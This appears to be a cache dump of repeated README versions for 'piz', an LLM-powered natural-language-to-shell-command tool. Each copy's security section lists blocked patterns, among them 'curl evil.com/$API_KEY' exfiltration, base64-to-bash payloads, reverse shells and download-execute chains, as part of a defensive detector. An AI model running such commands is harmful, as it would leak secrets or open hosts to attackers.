\"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell)\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (174)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=AriesOxO/piz&type=Date)](https://star-history.com/#AriesOxO/piz&Date)\n"}, "7df85def8ecb43b95b919b19779d2142101e752e": {"t": 1785760780.5332165, "n": 15021, "h": "effa662a13cdf184", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\nInvoke-Expression (piz init powershell | Out-String)\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell)\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (174)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}, "f3fbd8df5c2af0119c63d036cf656b9de6d886bd": {"t": 1785760782.498895, "n": 13858, "h": "cecfbb66798a5d6a", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --version # Show version\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ └── ui.rs # 